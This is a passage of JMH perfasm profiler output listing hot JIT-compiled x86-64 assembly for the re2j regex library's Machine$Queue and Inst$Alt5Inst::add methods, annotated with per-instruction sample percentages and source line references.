$0x40,%ecx 0x00007fc83d21fd61: jg 0x00007fc83d221199 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.15% 0x00007fc83d21fd67: mov $0x1,%r11d 0.18% 0.23% 0x00007fc83d21fd6d: shl %cl,%r11 ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.21% 0.17% 0x00007fc83d21fd70: mov %rbx,%r10 0.15% 0.06% 0x00007fc83d21fd73: and %r11,%r10 ;*land ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0.00% 0x00007fc83d21fd76: test %r10,%r10 0x00007fc83d21fd79: jne 0x00007fc83d22005b ;*ifeq ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.06% 0.09% 0x00007fc83d21fd7f: mov %ecx,%edx 0.03% 0.08% 0x00007fc83d21fd81: mov %r8,%rcx 0.16% 0.19% 0x00007fc83d21fd84: xor %ebp,%ebp ;*ireturn ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.00% 0.00% 0x00007fc83d21fd86: test %r10,%r10 0x00007fc83d21fd89: jne 0x00007fc83d221211 ;*ifeq ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.10% 0.14% 0x00007fc83d21fd8f: cmp $0x40,%edx 0x00007fc83d21fd92: jge 0x00007fc83d221285 ;*if_icmpge ; - com.google.re2j.Machine$Queue::add@3 (line 51) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.05% 0.11% 0x00007fc83d21fd98: or %r11,%rbx 0.14% 0.23% 0x00007fc83d21fd9b: mov %r13,%r11 0.01% 0x00007fc83d21fd9e: mov %rbx,0x10(%r11) ;*putfield pcsl ; - com.google.re2j.Machine$Queue::add@15 (line 52) ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.09% 0.14% 0x00007fc83d21fda2: add $0x18,%rdi 0.03% 0.05% 0x00007fc83d21fda6: mov %rcx,%r10 0.16% 0.19% 0x00007fc83d21fda9: shr $0x3,%r10 0.01% 0x00007fc83d21fdad: mov %r10d,(%rdi) ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.09% 0.13% 0x00007fc83d21fdb0: mov %rdi,%r10 0.04% 0.05% 0x00007fc83d21fdb3: mov 0xc(%rsp),%r8d 0.16% 0.15% 0x00007fc83d21fdb8: add $0x3,%r8d 0.00% 0x00007fc83d21fdbc: mov %r8d,0xc(%r11) ;*putfield size ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.12% 0.09% 0x00007fc83d21fdc0: shr $0x9,%r10 0.06% 0.07% 0x00007fc83d21fdc4: movabs $0x7fc84e197000,%r8 0.17% 0.06% 0x00007fc83d21fdce: mov %r12b,(%r8,%r10,1) ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.01% 0.03% 0x00007fc83d21fdd2: jmpq 0x00007fc83d21fe6e ;*invokevirtual add ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) .................................................................................................... 17.38% 14.97% <total for region 3> ....[Hottest Region 4].............................................................................. C2, level 4, com.google.re2j.Inst$Alt5Inst::add, version 511 (867 bytes) # parm5: [sp+0x80] = &apos;com/google/re2j/Machine&apos; (sp of caller) # parm6: [sp+0x88] = boolean 0x00007fc83d223cc0: mov 0x8(%rsi),%r10d 0x00007fc83d223cc4: shl $0x3,%r10 0x00007fc83d223cc8: cmp %r10,%rax 0x00007fc83d223ccb: jne 0x00007fc83d045e20 ; {runtime_call} 0x00007fc83d223cd1: data16 xchg %ax,%ax 0x00007fc83d223cd4: nopl 0x0(%rax,%rax,1) 0x00007fc83d223cdc: data16 data16 xchg %ax,%ax [Verified Entry Point] 0.08% 0.03% 0x00007fc83d223ce0: mov %eax,-0x14000(%rsp) 0.28% 0.22% 0x00007fc83d223ce7: push %rbp 0.02% 0x00007fc83d223ce8: sub $0x70,%rsp ;*synchronization entry ; - com.google.re2j.Inst$Alt5Inst::add@-1 (line 260) 0.29% 0.31% 0x00007fc83d223cec: vmovd %r9d,%xmm4 0.01% 0.02% 0x00007fc83d223cf1: vmovq %r8,%xmm3 0.00% 0.00% 0x00007fc83d223cf6: vmovq %rsi,%xmm2 0.04% 0.06% 0x00007fc83d223cfb: mov %ecx,%r13d 0.23% 0.14% 0x00007fc83d223cfe: mov 0x18(%rsi),%ecx ;*getfield pc ; - com.google.re2j.Inst$Alt5Inst::add@2 (line 260) 0.02% 0.03% 0x00007fc83d223d01: mov 0x10(%rdx),%r11 ;*getfield pcsl ; - com.google.re2j.Machine$Queue::contains@7 (line 42) ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260) ; implicit exception: dispatches to 0x00007fc83d224605 0.01% 0.01% 0x00007fc83d223d05: cmp $0x40,%ecx 0x00007fc83d223d08: jg 0x00007fc83d224215 ;*if_icmpgt ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260) 0.05% 0.07% 0x00007fc83d223d0e: mov $0x1,%esi 0.24% 0.29% 0x00007fc83d223d13: mov $0x1,%r9d 0.00% 0.01% 0x00007fc83d223d19: shl %cl,%r9 ;*lshl ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260) 0.29% 0.33% 0x00007fc83d223d1c: mov %r11,%r10 0.01% 0.01% 0x00007fc83d223d1f: and %r9,%r10 ;*land ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260) 0.01% 0.01% 0x00007fc83d223d22: test %r10,%r10 ╭ 0x00007fc83d223d25: jne 0x00007fc83d224044 ;*ifeq │ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) │ ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260) 0.08% 0.04% │ 0x00007fc83d223d2b: xor %ebp,%ebp ;*ireturn │ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) │ ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260) 0.22% 0.28% │ ↗ 0x00007fc83d223d2d: test %r10,%r10 │ │ 0x00007fc83d223d30: jne 0x00007fc83d224249 ;*ifeq │ │ ; - com.google.re2j.Inst$Alt5Inst::add@8 (line 260) 0.03% 0.00% │ │ 0x00007fc83d223d36: cmp $0x40,%ecx │ │ 0x00007fc83d223d39: jge 0x00007fc83d224279 ;*if_icmpge │ │ ; - com.google.re2j.Machine$Queue::add@3 (line 51) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263) 0.01% │ │ 0x00007fc83d223d3f: mov %r12b,0x18(%rdx) ;*putfield empty │ │ ; - com.google.re2j.Machine$Queue::add@33 (line 56) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263) 0.06% 0.07% │ │ 0x00007fc83d223d43: vmovq %xmm2,%r10 0.22% 0.26% │ │ 0x00007fc83d223d48: mov 0x2c(%r10),%ebp ;*getfield outInst │ │ ; - com.google.re2j.Inst$Alt5Inst::add@23 (line 265) 0.02% 0.01% │ │ 0x00007fc83d223d4c: or %r11,%r9 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263) 0.01% 0.01% │ │ 0x00007fc83d223d4f: mov %r9,0x10(%rdx) ;*putfield pcsl │ │ ; - com.google.re2j.Machine$Queue::add@15 (line 52) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263) 0.06% 0.07% │ │ 0x00007fc83d223d53: mov 0x8(%r12,%rbp,8),%r11d ; implicit exception: dispatches to 0x00007fc83d224619 0.23% 0.26% │ │ 0x00007fc83d223d58: cmp $0xf8019909,%r11d ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} │ │ 0x00007fc83d223d5f: jne 0x00007fc83d2240f9 0.02% 0.01% │ │ 0x00007fc83d223d65: lea (%r12,%rbp,8),%r11 ;*invokevirtual add │ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.02% │ │ 0x00007fc83d223d69: mov 0x18(%r11),%ecx ;*getfield pc │ │ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.05% 0.10% │ │ 0x00007fc83d223d6d: cmp $0x40,%ecx │ │ 0x00007fc83d223d70: jg 0x00007fc83d2242ad ;*if_icmpgt │ │ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) │ │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.33% 0.23% │ │ 0x00007fc83d223d76: mov $0x1,%r10d 0.00% │ │ 0x00007fc83d223d7c: shl %cl,%r10 ;*lshl │ │ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) │ │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.32% 0.48% │ │ 0x00007fc83d223d7f: mov %r9,%r8 0.02% 0.02% │ │ 0x00007fc83d223d82: and %r10,%r8 ;*land │ │ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) │ │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.02% │ │ 0x00007fc83d223d85: test %r8,%r8 │╭ │ 0x00007fc83d223d88: jne 0x00007fc83d22404e ;*ifeq ││ │ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) ││ │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.08% 0.09% ││ │ 0x00007fc83d223d8e: xor %ebp,%ebp ;*ireturn ││ │ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) ││ │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ │ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.26% 0.19% ││ │↗ 0x00007fc83d223d90: test %r8,%r8 ││ ││ 0x00007fc83d223d93: jne 0x00007fc83d2242e9 ;*ifeq ││ ││ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.00% 0.00% ││ ││ 0x00007fc83d223d99: cmp $0x40,%ecx ││ ││ 0x00007fc83d223d9c: jge 0x00007fc83d22431d ;*if_icmpge ││ ││ ; - com.google.re2j.Machine$Queue::add@3 (line 51) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.01% 0.01% ││ ││ 0x00007fc83d223da2: or %r10,%r9 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.07% 0.07% ││ ││ 0x00007fc83d223da5: mov %r9,0x10(%rdx) ;*putfield pcsl ││ ││ ; - com.google.re2j.Machine$Queue::add@15 (line 52) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.27% 0.37% ││ ││ 0x00007fc83d223da9: mov 0x88(%rsp),%r8d 0.02% 0.01% ││ ││ 0x00007fc83d223db1: test %r8d,%r8d ││ ││ 0x00007fc83d223db4: jne 0x00007fc83d22435d ;*ifeq ││ ││ ; - com.google.re2j.Inst$MatchInst::add@24 (line 149) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.00% 0.03% ││ ││ 0x00007fc83d223dba: mov 0xc(%rdx),%ecx ;*getfield size ││ ││ ; - com.google.re2j.Machine$Queue::addThread@6 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.05% 0.09% ││ ││ 0x00007fc83d223dbd: mov 0x20(%rdx),%ebx ;*getfield denseThreadsInstructions ││ ││ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.26% 0.41% ││ ││ 0x00007fc83d223dc0: mov %ecx,%edi 0.03% 0.02% ││ ││ 0x00007fc83d223dc2: inc %edi ;*iadd ││ ││ ; - com.google.re2j.Machine$Queue::addThread@11 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.00% 0.00% ││ ││ 0x00007fc83d223dc4: mov %edi,0xc(%rdx) ;*putfield size ││ ││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.05% 0.06% ││ ││ 0x00007fc83d223dc7: mov 0xc(%r12,%rbx,8),%r10d ; implicit exception: dispatches to 0x00007fc83d224641 0.20% 0.24% ││ ││ 0x00007fc83d223dcc: cmp %r10d,%ecx ││ ││ 0x00007fc83d223dcf: jae 0x00007fc83d22407d 0.02% 0.01% ││ ││ 0x00007fc83d223dd5: vmovd %edi,%xmm0 0.01% 0.01% ││ ││ 0x00007fc83d223dd9: mov %ebx,%edi 0.07% 0.07% ││ ││ 0x00007fc83d223ddb: mov %ecx,%eax 0.18% 0.30% ││ ││ 0x00007fc83d223ddd: mov %r11,%rcx 0.01% 0.01% ││ ││ 0x00007fc83d223de0: mov 0x88(%rsp),%r11d 0.01% 0.01% ││ ││ 0x00007fc83d223de8: mov 0x8(%r12,%rbx,8),%r8d 0.06% 0.04% ││ ││ 0x00007fc83d223ded: cmp $0xf8019807,%r8d ; {metadata(&apos;com/google/re2j/Inst&apos;[])} ││ ││ 0x00007fc83d223df4: jne 0x00007fc83d224129 ;*aastore ││ ││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.26% 0.27% ││ ││ 0x00007fc83d223dfa: vmovq %xmm2,%r11 0.00% 0.03% ││ ││ 0x00007fc83d223dff: mov 0x34(%r11),%ebp ;*getfield inst2 ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@43 (line 266) 0.00% ││ ││ 0x00007fc83d223e03: shr $0x3,%rcx ;*aastore ││ ││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.08% 0.05% ││ ││ 0x00007fc83d223e07: lea (%r12,%rbx,8),%r11 ;*getfield denseThreadsInstructions ││ ││ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.19% 0.23% ││ ││ 0x00007fc83d223e0b: lea 0x10(%r11,%rax,4),%r8 0.01% 0.02% ││ ││ 0x00007fc83d223e10: mov %ecx,(%r8) 0.01% 0.01% ││ ││ 0x00007fc83d223e13: mov %r8,%rcx 0.06% 0.06% ││ ││ 0x00007fc83d223e16: shr $0x9,%rcx 0.25% 0.16% ││ ││ 0x00007fc83d223e1a: movabs $0x7fc84e197000,%r8 0.01% 0.01% ││ ││ 0x00007fc83d223e24: mov %r12b,(%r8,%rcx,1) ;*aastore ││ ││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@37 (line 265) 0.05% 0.03% ││ ││ 0x00007fc83d223e28: mov 0x8(%r12,%rbp,8),%ebx ; implicit exception: dispatches to 0x00007fc83d22465d 0.05% 0.04% ││ ││ 0x00007fc83d223e2d: cmp $0xf8019909,%ebx ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} ││ ││ 0x00007fc83d223e33: jne 0x00007fc83d224169 0.21% 0.10% ││ ││ 0x00007fc83d223e39: lea (%r12,%rbp,8),%r14 ;*invokevirtual add ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.00% 0.00% ││ ││ 0x00007fc83d223e3d: mov 0x18(%r14),%ecx ;*getfield pc ││ ││ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.19% 0.27% ││ ││ 0x00007fc83d223e41: vmovd %ecx,%xmm1 0.15% 0.10% ││ ││ 0x00007fc83d223e45: cmp $0x40,%ecx ││ ││ 0x00007fc83d223e48: jg 0x00007fc83d224399 ;*if_icmpgt ││ ││ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.15% 0.19% ││ ││ 0x00007fc83d223e4e: mov $0x1,%ebx 0.01% ││ ││ 0x00007fc83d223e53: shl %cl,%rbx ;*lshl ││ ││ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.40% 0.56% ││ ││ 0x00007fc83d223e56: mov %r9,%rcx 0.01% ││ ││ 0x00007fc83d223e59: and %rbx,%rcx ;*land ││ ││ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ││ ││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.03% 0.02% ││ ││ 0x00007fc83d223e5c: test %rcx,%rcx ││╭ ││ 0x00007fc83d223e5f: jne 0x00007fc83d224058 ;*ifeq │││ ││ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) │││ ││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.16% 0.17% │││ ││ 0x00007fc83d223e65: xor %ebp,%ebp ;*ireturn │││ ││ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) │││ ││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││ ││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.11% 0.07% │││ ││↗ 0x00007fc83d223e67: test %rcx,%rcx │││ │││ 0x00007fc83d223e6a: jne 0x00007fc83d2243d5 ;*ifeq │││ │││ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.07% 0.10% │││ │││ 0x00007fc83d223e70: vmovd %xmm1,%ecx 0.03% 0.05% │││ │││ 0x00007fc83d223e74: cmp $0x40,%ecx │││ │││ 0x00007fc83d223e77: jge 0x00007fc83d224409 ;*if_icmpge │││ │││ ; - com.google.re2j.Machine$Queue::add@3 (line 51) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.17% 0.18% │││ │││ 0x00007fc83d223e7d: or %rbx,%r9 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.11% 0.13% │││ │││ 0x00007fc83d223e80: mov %r9,0x10(%rdx) ;*putfield pcsl │││ │││ ; - com.google.re2j.Machine$Queue::add@15 (line 52) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.03% 0.02% │││ │││ 0x00007fc83d223e84: mov %eax,%ebx 0.01% 0.03% │││ │││ 0x00007fc83d223e86: add $0x2,%ebx 0.17% 0.20% │││ │││ 0x00007fc83d223e89: mov %ebx,0xc(%rdx) ;*putfield size │││ │││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.14% 0.19% │││ │││ 0x00007fc83d223e8c: mov %eax,%ebx 0.02% 0.03% │││ │││ 0x00007fc83d223e8e: add $0x4,%ebx ;*iadd │││ │││ ; - com.google.re2j.Machine$Queue::addThread@11 (line 66) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@97 (line 268) 0.02% 0.02% │││ │││ 0x00007fc83d223e91: cmp %r10d,%ebx │││ │││ 0x00007fc83d223e94: jae 0x00007fc83d2240bd ;*aastore │││ │││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.13% 0.16% │││ │││ 0x00007fc83d223e9a: vmovq %xmm2,%r10 0.10% 0.12% │││ │││ 0x00007fc83d223e9f: mov 0x38(%r10),%ebp ;*getfield inst3 │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@63 (line 267) 0.01% 0.01% │││ │││ 0x00007fc83d223ea3: mov %r14,%rcx 0.02% 0.02% │││ │││ 0x00007fc83d223ea6: shr $0x3,%rcx ;*aastore │││ │││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.16% 0.20% │││ │││ 0x00007fc83d223eaa: movslq %eax,%r10 0.21% 0.15% │││ │││ 0x00007fc83d223ead: lea (%r11,%r10,4),%rdi ;*aastore │││ │││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@117 (line 269) 0.00% 0.03% │││ │││ 0x00007fc83d223eb1: mov %rdi,%r10 0.03% 0.03% │││ │││ 0x00007fc83d223eb4: add $0x14,%r10 0.17% 0.23% │││ │││ 0x00007fc83d223eb8: mov %ecx,(%r10) 0.14% 0.07% │││ │││ 0x00007fc83d223ebb: shr $0x9,%r10 0.02% 0.00% │││ │││ 0x00007fc83d223ebf: mov %r12b,(%r8,%r10,1) ;*aastore │││ │││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@57 (line 266) 0.02% 0.05% │││ │││ 0x00007fc83d223ec3: mov 0x8(%r12,%rbp,8),%ecx ; implicit exception: dispatches to 0x00007fc83d224685 0.13% 0.17% │││ │││ 0x00007fc83d223ec8: cmp $0xf8019909,%ecx ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} │││ │││ 0x00007fc83d223ece: jne 0x00007fc83d224195 0.11% 0.16% │││ │││ 0x00007fc83d223ed4: lea (%r12,%rbp,8),%r14 ;*invokevirtual add │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.01% 0.02% │││ │││ 0x00007fc83d223ed8: mov 0x18(%r14),%ecx ;*getfield pc │││ │││ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.02% 0.03% │││ │││ 0x00007fc83d223edc: vmovd %ecx,%xmm1 0.16% 0.21% │││ │││ 0x00007fc83d223ee0: cmp $0x40,%ecx │││ │││ 0x00007fc83d223ee3: jg 0x00007fc83d224445 ;*if_icmpgt │││ │││ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.13% 0.16% │││ │││ 0x00007fc83d223ee9: mov $0x1,%r10d 0.02% 0.02% │││ │││ 0x00007fc83d223eef: shl %cl,%r10 ;*lshl │││ │││ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.38% 0.38% │││ │││ 0x00007fc83d223ef2: mov %r9,%rcx 0.00% 0.01% │││ │││ 0x00007fc83d223ef5: and %r10,%rcx ;*land │││ │││ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) │││ │││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││ │││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.02% 0.03% │││ │││ 0x00007fc83d223ef8: test %rcx,%rcx │││╭│││ 0x00007fc83d223efb: jne 0x00007fc83d224062 ;*ifeq │││││││ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) │││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.20% 0.17% │││││││ 0x00007fc83d223f01: xor %ebp,%ebp ;*ireturn │││││││ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) │││││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.10% 0.13% │││││││↗ 0x00007fc83d223f03: test %rcx,%rcx ││││││││ 0x00007fc83d223f06: jne 0x00007fc83d224481 ;*ifeq ││││││││ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ││││││││ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 267) 0.01% 0.03% ││││││││ 0x00007fc83d223f0c: vmovd %xmm1,%ecx 0.03% 0.04% ││││││││ 0x00007fc83d223f10: cmp $0x40,%ecx ││││││││ 0x00007fc83d223f13: jge 0x00007fc83d2244b5 ;*if_icmpge ││││││││ ; - com.google.re2j.Machine$Queue::add@3 (line 51) ││││││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││││││││ ; 